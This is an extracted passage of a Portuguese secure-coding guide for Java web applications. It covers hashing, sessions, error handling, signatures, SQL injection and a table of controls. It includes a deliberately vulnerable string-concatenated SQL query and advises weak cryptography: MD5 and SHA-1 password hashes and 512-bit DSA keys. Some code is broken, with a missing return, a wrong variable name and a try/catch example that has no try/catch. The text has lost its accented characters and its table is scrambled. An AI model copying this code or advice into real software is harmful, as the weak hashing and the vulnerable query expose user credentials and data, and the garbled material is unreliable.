public static StringBuilder escapeHtmlFull(String s) { StringBuilder b = new StringBuilder(s.length()); for (int i = 0; i < s.length(); i++) { char ch = s.charAt(i); if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' || ch >= '0' && ch <= '9') { // safe b.append(ch); } else if (Character.isWhitespace(ch)) { // paranoid version: whitespaces are unsafe - escape // conversion of (int)ch is naive b.append("&#").append((int) ch).append(";"); } else if (Character.isISOControl(ch)) { // paranoid version:isISOControl which are not isWhitespace removed ! // do nothing do not include in output ! } else if (Character.isHighSurrogate(ch)) { int codePoint; if (i + 1 < s.length() && Character.isSurrogatePair(ch, s.charAt(i + 1)) && Character.isDefined(codePoint = (Character.toCodePoint(ch, s.charAt(i + 1)))))
59

{ b.append("&#").append(codePoint).append(";"); } else { log("bug:isHighSurrogate"); } i++; //in both ways move forward } else if(Character.isLowSurrogate(ch)) { // wrong char[] sequence, //TODO: LOG !!! log("bug:isLowSurrogate"); i++; // move forward,do nothing do not include in output ! } else { if (Character.isDefined(ch)) { // paranoid version // the rest is unsafe, including <127 control chars b.append("&#").append((int) ch).append(";"); } //do nothing do not include undefined in output! } } }
Diretivas: Todo dado recebido pelo sistema deve ser validado; Expresses regulares devem ser utilizadas para validao de entradas de dados.
60

2.3.2. Autenticao 2.3.2.1. Armazenando senhas com segurana
Todas as senhas devem ser armazenadas em formato hash. Em hiptese alguma as senhas podem ser armazenadas em texto normal. Tendo em vista que as senhas so secretas, no h motivos para que as mesmas sejam decifradas. Portanto, no deve ser utilizada uma tcnica de hash reversvel para o armazenamento de senhas. A funo de hash cria uma pequena impresso digital (message digest), em tamanho fixo, de um texto ilimitado:
import java.security.MessageDigest; public byte[] getHash(String password) throws NoSuchAlgorithmException { MessageDigest digest = MessageDigest.getInstance("SHA-1"); digest.reset(); byte[] input = digest.digest(password.getBytes("UTF-8")); }
Utilizando apenas a tcnica acima, senhas idnticas teriam o mesmo hash, o que criaria uma oportunidade de ataque. Para que este problema seja resolvido, a senha deve ser concatenada com um nmero randmico (salt) antes da operao de hash, conforme o exemplo a seguir:
import java.security.MessageDigest; public byte[] getHash(String password, byte[] salt) throws NoSuchAlgorithmException { MessageDigest digest = MessageDigest.getInstance("SHA-256"); digest.reset(); digest.update(salt); return digest.digest(password.getBytes("UTF-8")); }
O salt deve ser diferente para cada entrada de senha, e deve ser armazenado como texto normal na mesma tabela onde armazenado o hash da senha. Para desacelerar a execuo de ataques, a operao de hash deve ser realizada vrias vezes, armazenando a senha no seguinte formato: Hash(hash(...hash(senha||salt)))
61

A desacelerao pode ser realizada da seguinte forma:

import java.security.*; public byte[] getHash(int iterationNb, String password, byte[] salt) throws NoSuchAlgorithmException { MessageDigest digest = MessageDigest.getInstance("SHA-1"); digest.reset(); digest.update(salt); byte[] input = digest.digest(password.getBytes("UTF-8")); for (int i = 0; i < iterationNb; i++) { digest.reset(); input = digest.digest(input); } return input; }
2.3.2.2.
Segurana declarativa
O sistema deve ser configurado para restringir o acesso aos recursos via descritor de implantao (web.xml). Isto chamado de controle de acesso declarativo ou segurana declarativa. O fragmento do arquivo web.xml abaixo implementa segurana declarativa por meio de autenticao bsica. Como resultado, aparecer uma janela popup onde o usurio dever entrar com seu nome e senha sempre que o mesmo tentar acessar um arquivo PDF ou qualquer arquivo do diretrio restrictedfiles. Neste caso em particular, as credenciais do usurio devem ser reconhecidas como sendo parte do grupo admin.
<web-app> ... <security-constraint> <web-resource-collection> <web-resource-name>Restricted Resources</web-resource-name> <url-pattern>*.pdf</url-pattern> <url-pattern>/restrictedfiles/*</url-pattern> </web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint> <user-data-constraint> <transport-guarantee>NONE</transport-guarantee> </user-data-constraint> </security-constraint> <login-config>
62

<auth-method>BASIC</auth-method> <realm-name>Restricted Files</realm-name> </login-config> <security-role> <role-name>admin</role-name> </security-role> ... </web-app>
Outra forma de implementar segurana declarativa atravs da autenticao via formulrio:

<login-config> <auth-method>FORM</auth-method> <realm-name>Restricted Files</realm-name> <form-login-config> <form-login-page>/gatekeeper.jsp</form-login-page> <form-error-page>/tryagain.jsp</form-error-page> </form-login-config> </login-config>
Substituindo o trecho do <login-config> conforme o exemplo acima, aparecer uma pgina .jsp quando um usurio tentar acessar uma rea restrita. O usurio dever digitar seu nome e senha em um formulrio HTML e, caso as credenciais sejam invlidas, ser mostrada uma pgina .jsp uma nova tentativa de login. No caso da autenticao via formulrio, deve ser criada uma pgina para login e uma pgina de erro. Vide exemplo da pgina de login a ser criada:
<form name="AuthForm" action="j_security_check" method="post"> <input type="text" name="j_username"> <input type="password" name="j_password"> <input type="submit" value="Submit"> </form>
Quanto pgina de erro, essa dever apresentar a mensagem de que as credenciais so invlidas, e prover um link de volta para a pgina de login.
63

Diretivas: Todas as senhas devem ser armazenadas em formato hash; No deve ser utilizada uma tcnica de hash reversvel; A senha deve ser concatenada com um nmero randmico (salt) antes da operao de hash; O salt deve ser armazenado como texto normal na mesma tabela onde armazenado o hash da senha; A operao de hash deve ser realizada vrias vezes em cima da senha; O sistema deve ser configurado para restringir o acesso via descritor de implantao (web.xml);
2.3.3. Preveno contra fixao e roubo de sesses Autenticar um usurio sem antes invalidar qualquer identificador de sesso existente fornece a um atacante a oportunidade de roubar sesses j autenticadas. Uma forma de um atacante explorar a vulnerabilidade de fixao de sesso criando uma nova sesso em uma aplicao web e registrando o identificador associado mesma. O atacante ento fora a vtima a se autenticar no servidor usando o mesmo identificador de sesso, concedendo ao atacante o acesso conta do usurio atravs da sesso ativa. Para mitigar esta vulnerabilidade, os identificadores de sesso devem ser sempre gerados novamente aps o login:
session.invalidate(); session=request.getSession(true);
Outra medida a ser adotada a desabilitao da reescrita de URL, protegendo o sistema contra roubos de sesses. Tambm devem ser implementadas restries de concorrncia de sesses para usurios. No Tomcat, a opo checkSSLSessionId deve ser habilitada no arquivo server.xm, para forar o servidor a validar o identificador de sesso gerado pelo Tomcat com o identificador da sesso SSL. Desta forma, mesmo que o cookie com o identificador
64

de sesso seja copiado, esta sesso no poder ser usada, pois no ser igual sesso SSL. A opo secureCookie tambm deve ser habilitada no arquivo server.xm, para que o cookie de identificao da sesso seja marcado como secure. Desta forma, o browser do usurio somente dever transmiti-lo em conexes SSL, garantindo assim a sua confidencialidade. Os identificadores de sesso devem ser gerados aleatoriamente, gerando cookies no seqenciais. Isso pode ser feito atravs de geradores de sequncias pseudoaleatrias, como o java.security.SecureRandom.
Diretivas: Toda sesso em aberto deve ser invalidada antes de uma nova autenticao de usurio; Os identificadores de sesso devem ser sempre gerados novamente aps o login; Deve ser desabilitada a reescrita de URL; Devem ser implementadas restries de concorrncia de sesses para usurios; A opo checkSSLSessionId deve ser habilitada no arquivo server.xm do Tomcat; A opo secureCookie deve ser habilitada no arquivo server.xm do Tomcat.
2.3.4. Tratamento de erros O desenvolvimento da aplicao deve prevenir o vazamento de informaes. Mensagens de erro geradas pelo sistema ou pelo servidor no devem ser apresentadas na tela do usurio. Ao usurio, devem ser apresentadas apenas mensagens de erro genricas, tais como Erro do sistema Por favor, tente mais tarde. Informaes como caminhos de arquivos, linha onde ocorreu o erro, nome das classes e dos mtodos, entre outras, so consideradas privilegiadas. Por isso, informaes internas do sistema nunca devem estar ao alcance dos usurios. Todas as mensagens de erro devem ser registradas em log, pois podem ser resultado de uma tentativa de ataque.
65

Cdigos que podem gerar erros ou excees devem ser sempre colocados em um bloco try, enquanto os cdigos que tratam as excees devem estar sempre em um bloco catch:
Signature clientSig = Signature.getInstance("DSA"); clientSig.initVerify(pubKey); clientSig.update(mensagem.getBytes());
if (clientSig.verify(assinatura)) { //Mensagem assinada corretamente } else { //Mensagem no pode ser validada }
Diretivas: O desenvolvimento da aplicao deve prevenir o vazamento de informaes; Mensagens de erro geradas pelo sistema ou pelo servidor no devem ser apresentadas ao usurio; Informaes internas do sistema nunca devem estar ao alcance dos usurios; Todas as mensagens de erro geradas pelo sistema/servidor devem ser registradas em log; Cdigos que podem gerar erros ou excees devem ser sempre colocados em um bloco try; Cdigos que tratam excees devem ser sempre colocados em um bloco catch;
2.3.5. Criptografia e Message digest Devem ser utilizados algoritmos de criptografia para cifrar arquivos especficos dentro do sistema, como arquivos de bancos de dados com informaes de grupos de usurios e permisses. Algoritmos de hash podem ser utilizados para garantir a proteo elevada dos dados. Message digests, ou funes de hash, criam o equivalente a uma impresso digital, de tamanho fixo, de um texto ilimitado. Message Digests no podem ser decifrados e, por este motivo, so extremamente teis para a segurana de senhas. Para efeitos de validao da senha, o cdigo hash precisa ser gerado novamente para a senha digitada pelo usurio e comparado com o cdigo hash gravado no
66

banco. Se ambos se igualarem, o acesso liberado. A API Java implementa dois algoritmos de Message Digest: o MD5 e o SHA-1. Para a gerao de cdigos criptogrficos, necessrio: 1. Obter uma instncia do algoritmo a ser usado: Para a obteno de uma instncia de um algoritmo de message digest pode ser utilizado o mtodo getInstance(), da classe MessageDigest.
MessageDigest md5 = MessageDigest.getInstance("MD5"); MessageDigest sha1 = MessageDigest.getInstance("SHA-1");
Aps a chamada getInstance(), o objeto referenciado est pronto para criptografar seus dados atravs do algoritmo especificado. 2. Passar para o algoritmo a informao que se deseja criptografar: A instncia de um algoritmo recebida pronta para o uso. Deve ser chamado ento o mtodo update() para a passagem dos dados a serem criptografados.
//Faz o update do digest utilizando o byte especificado //Este mtodo til quando no se tem controle do tamanho da mensagem a ser criptografada //(por exemplo, vinda de um stream)
void update(byte input); //Exemplo int i;
while ((i = inputStream.read()) != -1) { md5.update((byte)i); }
Esta outra verso faz o update a partir de um array de bytes:

void update(byte[] input); //Exemplo String str = "Elvis is live!!!"; sha1.update(str.getBytes());
//Finalmente, ainda possvel especificar uma poro do array void update(byte[] input, int offset, int len);
67

A qualquer momento, o mtodo reset() pode ser chamado para que o algoritmo retorne ao estado original. 3. Realizar a criptografia: Para gerar a chave criptografada, o mtodo digest() deve ser chamado:
byte[] digest(); byte[] digest(byte[] input); int digest(byte[] buf, int offset, int len) throws DigestException;
O primeiro mtodo realiza a operao nos bytes que foram fornecidos at o momento (atravs do mtodo update()). O segundo mtodo realiza um update() final, utilizando o array de bytes fornecido, e completa a operao. O terceiro mtodo armazena em buf o resultado do hashing. Offset e length especificam o local, no array de destino, onde o hashing deve ser colocado. Este mtodo retorna a quantidade de bytes escrita em "buf". Aps a operao ser concluda, o mtodo digest() chama o mtodo reset() para retornar o algoritmo ao seu estado inicial. O exemplo a seguir apresenta uma classe de utilitrios para criptografia. Essa classe, chamada de CriptoUtils, possui dois mtodos utilitrios que criam uma representao hexadecimal do cdigo hash gerado, para que possa ser facilmente gravado em bancos de dados e transportado via HTTP. Estes mtodos so o byteArrayToHexString() e o hexStringToByteArray().
public final class CriptoUtils { private static final String hexDigits = "0123456789abcdef"; /** * Realiza um digest em um array de bytes atravs do algoritmo especificado * @param input - O array de bytes a ser criptografado * @param algoritmo - O algoritmo a ser utilizado * @return byte[] - O resultado da criptografia * @throws NoSuchAlgorithmException - Caso o algoritmo fornecido no seja * vlido */ public static byte[] digest(byte[] input, String algoritmo)
68

throws NoSuchAlgorithmException { MessageDigest md = MessageDigest.getInstance(algoritmo); md.reset(); return md.digest(input); }
/** * Converte o array de bytes em uma representao hexadecimal. * @param input - O array de bytes a ser convertido. * @return Uma String com a representao hexa do array */ public static String byteArrayToHexString(byte[] b) { StringBuffer buf = new StringBuffer();
for (int i = 0; i < b.length; i++) { int j = ((int) b[i]) & 0xFF; buf.append(hexDigits.charAt(j / 16)); buf.append(hexDigits.charAt(j % 16)); }
return buf.toString(); }
/** * Converte uma String hexa no array de bytes correspondente. * @param hexa - A String hexa * @return O vetor de bytes * @throws IllegalArgumentException - Caso a String no seja uma * representao hexadecimal vlida */ public static byte[] hexStringToByteArray(String hexa) throws IllegalArgumentException {
//verifica se a String possui uma quantidade par de elementos if (hexa.length() % 2 != 0) { throw new IllegalArgumentException("String hexa invlida"); }
byte[] b = new byte[hexa.length() / 2];
for (int i = 0; i < hexa.length(); i+=2) { b[i / 2] = (byte) ((hexDigits.indexOf(hexa.charAt(i)) << 4) | (hexDigits.indexOf(hexa.charAt(i + 1)))); } return b; } }
69

O cdigo a seguir um exemplo de como utilizar esta classe de utilitrios. A senha digitada por um usurio deve ser comparada com a senha hash criada pelo algoritmo md5, que est gravada no banco.
?stmt = con.prepareStatement("select * from users where login = ?"); stmt.setString(1, user.getLogin()); ResultSet rs = stmt.executeQuery();
if (rs.next()) { senhaNoBanco = rs.getString("senha"); } else { throw new MinhaException("Usurio " + user.getLogin() + " no encontrado"); }
try { byte[] b = CriptoUtils.digest(user.getSenha().getBytes(), "md5"); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); return false; }
String senhaCriptografada = CriptoUtils.byteArrayToHexString(b);
if (senhaNoBanco.equalsIgnoreCase(senhaCriptografada )) { return true; } else { return false; }
Diretivas: Informaes crticas devem ser criptografadas.
70

2.3.6. Assinatura digital A assinatura digital foi a soluo adotada para garantir trs aspectos importantes em uma transao: autenticidade, integridade e no-repdio de origem. Assinaturas digitais so utilizadas para autenticar o remetente de uma informao e garantir que a mesma confivel. Uma assinatura digital funciona de acordo com a seguinte trade: a assinatura em si, uma chave pblica e uma chave privada. O remetente o responsvel por gerar essa trade e fornecer a chave pblica aos destinatrios de suas mensagens. No momento do envio, o remetente gera uma assinatura para o dado que deseja enviar, usando a chave privada. O destinatrio recebe a informao e a assinatura, e valida esta informao usando sua chave pblica. O sucesso da validao garante ao destinatrio que a mensagem foi enviada por um remetente confivel, o qual possui a chave privada correspondente. A assinatura e a chave pblica no revelam nada sobre a chave privada. No Java, a classe responsvel por gerar as assinaturas digitais chamada de Signature. Objetos signature so criados por meio da chamada ao mtodo da classe Signature:
static Signature getInstance(String algorithm) //Exemplo Signature sig = Signature.getInstance("DSA");
possvel gerar as chaves atravs da classe KeyPairGenerator. Assim como a classe Signature, a KeyPairGenerator necessita de um algoritmo para gerar as chaves.
static KeyPairGenerator getInstance(String algorithm) //Exemplo KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
As chaves e a assinatura devem ser geradas atravs do mesmo algoritmo de criptografia. Aps a obteno de um KeyPairGenerator, o mesmo deve ser inicializado atravs do mtodo initialize().
71

void initialize(int keysize, SecureRandom random)
Este mtodo requer dois parmetros: um tamanho de chave e um nmero aleatrio, que fornecido pela classe SecureRandom. O tamanho da chave deve ser compatvel com o algoritmo usado. No caso do DSA, pode ser usado um tamanho de 512. Aps inicializada, a KeyPairGenerator est pronta para gerar as chaves pblica e privada:
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("DSA"); SecureRandom secRan = new SecureRandom(); keyGen.initialize(512, secRan); KeyPair keyP = keyGen.generateKeyPair(); PublicKey pubKey = keyP.getPublic(); PrivateKey priKey = keyP.getPrivate();
Com a posse da chave privada, possvel utiliz-la para inicializar o objeto signature:
sig.initSign(priKey);
Agora, o mtodo update() pode ser utilizado para passar ao algoritmo os dados a serem criptografados. Aps o dado ser fornecido, o mtodo sign deve ser chamado para gerao da assinatura.
String mensagem = "Elvis is Live!!!"; //Gerar assinatura sign.update(mensagem.getBytes()); byte[] assinatura = sign.sign();
No exemplo acima, o mtodo sign reseta o status do algoritmo. Terminam assim as responsabilidades do remetente, que agora precisa somente fornecer a chave pblica juntamente com o dado a ser enviado e a assinatura correspondente.
72

O destinatrio dever receber, juntamente com os dados, a assinatura digital e a chave pblica. A assinatura poder ento ser validada junto ao dado recebido, utilizando a chave pblica.
Signature clientSig = Signature.getInstance("DSA"); clientSig.initVerify(pubKey); clientSig.update(mensagem.getBytes()); if (clientSig.verify(assinatura)) { //Mensagem assinada corretamente } else { //Mensagem no pode ser validada }
Assinaturas digitais podem ser implementadas com o uso do JCA (Arquitetura de Criptografia em Java), um framework para acesso e desenvolvimento de funcionalidades criptogrficas na plataforma Java. Duas premissas devem ser consideradas durante a implementao de assinaturas digitais: 1. As mensagens devem ser assinadas e trocadas para que as partes conheam as chaves pblicas mutuamente 2. Com o conhecimento das chaves pblicas, as mensagens podem ser criptografadas e, somente os destinatrios podero abrir seu contedo, por portarem a chave privada correspondente; 3. O hash da mensagem deve ser criptografado (funo assinatura), em vez de assinar a mensagem inteira. Algoritmos de criptografia assimtrica, como o RSA, so cerca de mil vezes mais lentos do que os de criptografia simtrica, como o AES. Devido a isso, para alcanar uma melhor performance, a mensagem atual a ser transmitida deve ser criptografada usando um algoritmo simtrico com chave de sesso, que ser cifrada usando a chave pblica do destinatrio. Para que esse controle seja efetivo, devem ser utilizados certificados digitais para garantir que a chave pblica realmente pertence pessoa que assinou a mensagem.
73

O certificado deve ser assinado por uma autoridade certificadora e enviado juntamente com a mensagem.
Diretivas: As mensagens devem ser assinadas digitalmente; As mensagens devem ser criptografadas atravs de algoritmos simtricos com chave de sesso; Devem ser utilizados certificados digitais; O certificado deve ser assinado por uma autoridade certificadora.
2.3.7. Preveno contra SQL Injection Uma das vulnerabilidades mais amplamente exploradas e perigosas para um sistema a injeo de comandos SQL. O cdigo a seguir, usado para executar uma funo de login, ilustra esta vulnerabilidade atravs da aceitao de entradas de usurios sem a adequada validao.
String query = "SELECT account_balance FROM user_data WHERE user_name = " + request.getParameter("customerName"); try { Statement statement = connection.createStatement( ); ResultSet results = statement.executeQuery( query ); }
O exemplo de cdigo apresentado inseguro, pois permite que um atacante injete um cdigo dentro da consulta que ser realizada no banco de dados. Para prevenir ataques de injeo de SQL, todas as consultas devem ser parametrizadas. As consultas parametrizadas foram o desenvolvedor a definir previamente todo o cdigo SQL, para depois ento passar cada parmetro para a consulta. Desta forma, o banco de dados pode distinguir cdigos e dados:
String custname = request.getParameter("customerName"); // This should REALLY be validated too // perform input validation to detect attacks String query = "SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( );
74

Devem ser utilizadas variveis de vinculao, como no exemplo acima, para que, alm de prevenir ataques de injeo de SQL, seja melhorada tambm a performance do sistema. A concatenao de strings nunca deve ser usada para a criao de consultas SQL dinmicas.
Diretivas: Todas as consultas SQL devem ser parametrizadas; Devem ser utilizadas variveis de vinculao em consultas SQL; A concatenao de strings nunca deve ser usada para a criao de consultas SQL dinmicas.
2.3.8. Assinatura de cdigo em Java Os cdigos do sistema devem ser assinados digitalmente, de forma que somente o contedo assinado seja executado pelo sistema, garantindo assim sua integridade. Com a assinatura de cdigo, o funcionamento do sistema baseado em confiana, e qualquer alterao indevida impede o uso do mesmo. O arquivo jar deve ser assinado usando a chave privada, e enviado jun tamente com a chave pblica e o certificado digital. A assinatura do cdigo deve ser sempre verificada antes da execuo do mesmo. Exemplos de como assinar cdigos digitalmente podem ser encontrados no seguinte endereo: http://java.sun.com/docs/books/tutorial/security/toolsign/signer.html
Diretivas: Os cdigos do sistema devem ser assinados digitalmente; A assinatura do cdigo deve ser sempre verificada antes da execuo do mesmo.
75

2.4.
Cdigo C C C C C C C C C 1 2 3 4 5 6 7 8 9
Controles Tcnicos
Categoria Postura de defesa Otimizao de recursos Otimizao de recursos Otimizao de recursos Otimizao de recursos Otimizao de recursos Monitorao Monitorao Postura de defesa Controle Manter as informaes protegidas Consumir o mnimo de recursos do sistema Consumir o mnimo de tempo do processador Alocar a menor quantidade de memria possvel Usar o mnimo de espao em disco possvel Utilizar a rede de forma econmica e racional Monitorar a utilizao dos recursos Inserir temporizadores de execuo No apresentar os dados de tempo de execuo na tela do usurio Desenhar a estrutura do sistema com foco em usurios ilegtimos Filtrar todas as variveis de entrada do sistema Checar a consistncia dos dados no servidor Manipular as excees geradas pelo sistema Monitorar logs gerados pelo sistema e pelos servidores Implementar limitadores de acesso ao sistema Dados de login devem ser postados sobre uma conexo SSL A pgina de login deve ser do tipo HTTPS Mensagens de alerta ou de erros SSL no devem ser apresentadas ao usurio A conexo deve ser negada caso um usurio tente acessar uma verso HTTP da pgina de login Aplicar CAPTCHAs aos formulrios do sistema O tamanho das senhas deve ser configurvel pelo administrador de segurana do sistema As senhas devem seguir o padro definido pela poltica institucional Aplicaes altamente crticas devem utilizar fator mltiplo de autenticao Deve ser criado um servidor SSL para forar a segurana Ameaas endereadas T-1, T-2, T-12 T-10 T-10 T-10 T-10 T-1, T-10 T-1, T-10 T-10 T-1, T-3, T-7, T-12
10
Postura de defesa
T-2, T-3, T-5, T-7 T-3, T-4, T-5, T-6, T-7, T-8, T-9, T-10 T-3, T-5, T-6, T-7, T-8 T-1, T-3, T-7, T-12 T-1, T-2, T-3, T-5, T-7, T-9, T-10 T-2, T-3, T-7, T-13, T-14 T-3, T-4, T-5, T-7 T-3, T-4, T-5, T-6 T-3, T-4, T-5, T-6
C C C C C C C C
11 12 13 14 15 16 17 18
Filtro de dados Validao de inputs Tratamento de erros Monitorao Controle de acesso Controle de acesso Controle de acesso Tratamento de erros
19
Controle de acesso
T-3, T-4, T-5, T-6
20
Validao de inputs
T-11, T-13, T-14
21
Controle de acesso
T-2, T-12, T-13, T-14
22
Controle de acesso
T-2, T-12, T-13, T-14
23
Controle de acesso
T-2, T-12, T-13, T-14
24
Conexo segura
T-4, T-5, T-7
76

25
Controle de acesso
Todos os clientes devem ser autenticados atravs de seus certificados Todo usurio deve ser forado a utilizar uma conexo segura Os identificadores de sesso devem ser sempre
T-5, T-7, T-14
26
Conexo segura
T-3, T-4, T-5, T-7
27
Conexo segura
transmitidos em canais seguros, com a utilizao do protocolo SSL Os identificadores de sesso SSL devem ser
T-4, T-5
28
Controle de acesso
verificados em conjunto com os identificadores da sesso do usurio
T-4, T-5
29
Controle de acesso
Deve ser definido um perodo de validade e um tempo mximo de inatividade para as sesses Deve ser implementado um mecanismo para cancelamento de sesses (logout) Os identificadores de sesso nunca devem ser includos na URL Devem ser usados cookies no-persistentes As extenses de arquivos com permisso para upload devem ser limitadas Todos os uploads devem ser armazenados fora da pasta principal do sistema Todas as entradas de usurios devem ser filtradas O sistema no deve executar scripts provenientes de servidores remotos O sistema deve escapar de todos os comandos Shell e caracteres especiais Os logs do servidor devem ser monitorados constantemente Informaes confidenciais devem ser armazenadas apenas em arquivos .php Informaes relevantes no devem ser armazenadas no diretrio de trabalho Variveis devem ser sempre inicializadas com valor falso Manter a diretriz register_globals = Off Sempre registrar as variveis Manter a diretriz display_errors = Off no servidor de produo Manter a diretriz log_errors = On no servidor de produo Manter a diretriz error_reporting = E_ALL | E_STRICT Somente o servidor web e o administrador de
T-4, T-5
30
Controle de acesso
T-4, T-5
C C C
31 32 33
Postura de defesa Controle de acesso Controle de arquivos
T-1, T-3, T-4, T-5, T-7 T-4, T-5 T-3, T-9
34
Controle de arquivos
T-3, T-9 T-3, T-4, T-5, T-6, T-7, T-8, T-9, T-11 T-9 T-3, T-4, T-5, T-6, T-7, T-8, T-9, T-11 T-3, T-5, T-7, T-9, T-10
35
Filtro de dados
36
Controle de execuo
37
Filtro de dados
38
Monitorao
39
Postura de defesa
T-1, T-3, T-7, T-12
40
Postura de defesa
T-1, T-3, T-7, T-12
C C C C
41 42 43 44
Validao de inputs Validao de inputs Validao de inputs Postura de defesa
T-3, T-7 T-3, T-7, T-8 T-3, T-7, T-8 T-1, T-12
45
Monitorao
T-1, T-10
46
Monitorao
T-1, T-10
47
Controle de acesso
segurana do sistema devem ter permisso para ler e escrever o arquivo de log de erros
T-1, T-10
77

48
Postura de defesa
Manter a diretriz expose_php = Off Em servidores compartilhados, os valores das
T-1, T-3, T-12
49
Postura de defesa
diretrizes devem ser definidos atravs da funo ini_set() ou de instrues em um arquivo .htaccess necessrio atribuir segurana aos arquivos .htaccess utilizados para definir diretrizes Todas as variveis externas devem ter suas
T-1, T-3, T-7, T-8, T-10, T-12
50
Controle de arquivos
T-1, T-12
51
Validao de inputs
propriedades verificadas antes de serem processadas
T-3, T-4, T-5, T-6, T-7, T-8, T-9, T-11 T-3, T-4, T-5, T-6, T-7, T-8, T-9, T-11 T-3, T-4, T-5, T-6, T-7, T-8, T-9, T-11 T-3, T-4, T-5, T-6, T-7, T-8, T-9, T-11 T-3, T-4, T-5, T-6, T-7, T-8, T-9, T-11 T-3, T-4, T-5, T-6, T-7, T-8, T-9, T-11 T-3, T-9 T-3, T-9 T-3, T-9 T-9 T-9 T-1, T-3, T-7, T-9
52
Validao de inputs
Toda varivel recebida deve ser testada
53
Filtro de dados
Todas as variveis recebidas devem ser filtradas Todas as variveis esperadas devem ser explicitamente listadas em um vetor Registrar e tratar com expresses regulares as variveis recebidas de formulrios Utilizar a funo htmlspecialchars(), ou similar, na estrutura de filtros Armazenar arquivos recebidos em diretrios temporrios at que sejam testados Verificar a extenso do arquivo Verificar a veracidade do tipo do arquivo Escanear o arquivo com softwares antivrus Verificar a integridade do arquivo recebido Todo cdigo deve ser delimitado pelas tags de abertura e fechamento do PHP Deve ser adotada a poltica de invisibilidade da extenso dos arquivos na URL A extenso dos arquivos referenciados nos links deve ser definida previamente Deve ser implementada a tcnica de White list As eventuais tentativas de ataque devem ser registradas O uso de sesses deve estar sempre associado criptografia A diretriz session.use_only_cookies deve ser ativada no arquivo de configurao php.ini Todas as informaes confidenciais devem ser
54
Validao de inputs
55
Validao de inputs
56
Filtro de dados
C C C C C C
57 58 59 60 61 62
Controle de arquivos Controle de arquivos Controle de arquivos Controle de arquivos Controle de arquivos Postura de defesa
63
Postura de defesa
T-1, T-3, T-7, T-9
C C C
64 65 66
Controle de arquivos Validao de inputs Monitorao
T-1, T-3, T-7, T-9 T-3, T-7, T-9 T-3, T-4, T-5, T-6, T-7, T-9, T-11
67
Criptografia e hash
T-1, T-5
68
Controle de acesso
T-1, T-5
69
Criptografia e hash
criptografadas antes de trafegarem ou serem armazenadas no banco de dados
T-1
78

70
Criptografia e hash
O algoritmo de criptografia deve ser combinado com uma senha de criptografia Toda varivel utilizada na URL deve ter ser contedo criptografado Os nomes das variveis usadas nos formulrios
T-1
71
Criptografia e hash
T-1, T-3, T-5
72
Validao de inputs
HTML no devem ser iguais aos nomes usados nas tabelas do banco de dados
T-3, T-7, T-11
C C
73 74
Filtro de dados Validao de inputs
Todas as variveis devem ser filtradas Todo dado recebido pelo sistema deve ser validado Expresses regulares devem ser utilizadas para validao de entradas de dados Todas as senhas devem ser armazenadas em formato hash No deve ser utilizada uma tcnica de hash reversvel A senha deve ser concatenada com um nmero randmico (salt) antes da operao de hash O salt deve ser armazenado como texto normal na
T-3, T-4, T-6, T-7, T-8, T-9, T-11 T-3, T-4, T-6, T-7, T-8, T-9, T-11
75
Validao de inputs
T-3, T-4, T-6, T-7, T-8, T-9, T-11
76
Criptografia e hash
T-1
77
Criptografia e hash
T-1
78
Criptografia e hash
T-1, T-14
79
Criptografia e hash
mesma tabela onde armazenado o hash da senha
T-1
80
Criptografia e hash
A operao de hash deve ser realizada vrias vezes em cima da senha O sistema deve ser configurado para restringir o acesso via descritor de implantao (web.xml) Toda sesso em aberto deve ser invalidada antes de uma nova autenticao de usurio Os identificadores de sesso devem ser sempre gerados novamente aps o login Deve ser desabilitada a reescrita de URL Devem ser implementadas restries de concorrncia de sesses para usurios A opo checkSSLSessionId deve ser habilitada no arquivo server.xm do Tomcat A opo secureCookie deve ser habilitada no arquivo server.xm do Tomcat O desenvolvimento da aplicao deve prevenir o vazamento de informaes Mensagens de erro geradas pelo sistema ou pelo servidor no devem ser apresentadas ao usurio Informaes internas do sistema nunca devem estar ao alcance dos usurios
T-1
81
Controle de acesso
T-1, T-3, T-9
82
Controle de acesso
T-4, T-5
C C C
83 84 85
Controle de acesso Postura de defesa Controle de acesso
T-1, T-4, T-5 T-3, T-5, T-7, T-9 T-4, T-5
86
Controle de acesso
T-4, T-5
87
Controle de acesso
T-1, T-4, T-5
88
Postura de defesa
T-1
89
Tratamento de erros
T-1, T-3, T-7, T-12
90
Postura de defesa
T-1
79

91
Tratamento de erros
Todas as mensagens de erro geradas pelo sistema/servidor devem ser registradas em log Cdigos que podem gerar erros ou excees devem ser sempre colocados em um bloco try Cdigos que tratam excees devem ser sempre colocados em um bloco catch Informaes crticas devem ser criptografadas As mensagens devem ser assinadas digitalmente As mensagens devem ser criptografadas atravs de algoritmos simtricos com chave de sesso Devem ser utilizados certificados digitais O certificado deve ser assinado por uma autoridade certificadora Todas as consultas SQL devem ser parametrizadas Devem ser utilizadas variveis de vinculao em consultas SQL A concatenao de strings nunca deve ser usada para a criao de consultas SQL dinmicas Os cdigos do sistema devem ser assinados digitalmente A assinatura do cdigo deve ser sempre verificada antes da execuo do mesmo Tabela 2 Controles tcnicos de programao segura.
T-1, T-3, T-4, T-5, T-6, T-7, T-9, T-10
92
Tratamento de erros
T-1, T-12
C C C
93 94 95
Tratamento de erros Criptografia e hash Assinatura digital
T-1, T-12 T-1 T-3, T-9
C C C
96 97 98
Criptografia e hash Assinatura digital Assinatura digital
T-1 T-3, T-9 A3, T-9
99
Controle de execuo
T-1, T-7
100 Controle de execuo
T-1, T-7
101 Controle de execuo
T-1, T-7
102 Assinatura digital
T-3, T-9
103 Assinatura digital
T-3, T-9
80

3. Proteo de Dados
O desafio para a segurana e gerenciamento do banco de dados reter o controle sobre os dados da empresa e garantir que as regras de negcio sejam devidamente aplicadas quando as informaes so acessadas. A primeira linha de preveno se baseia no controle de acesso por credenciais (logins), onde a autenticao o processo determinante para ceder o acesso s informaes. Para tornar um banco de dados seguro, deve-se identificar as ameaas e combat-las de acordo com a anlise dos riscos.
81

3.1. Ameaas
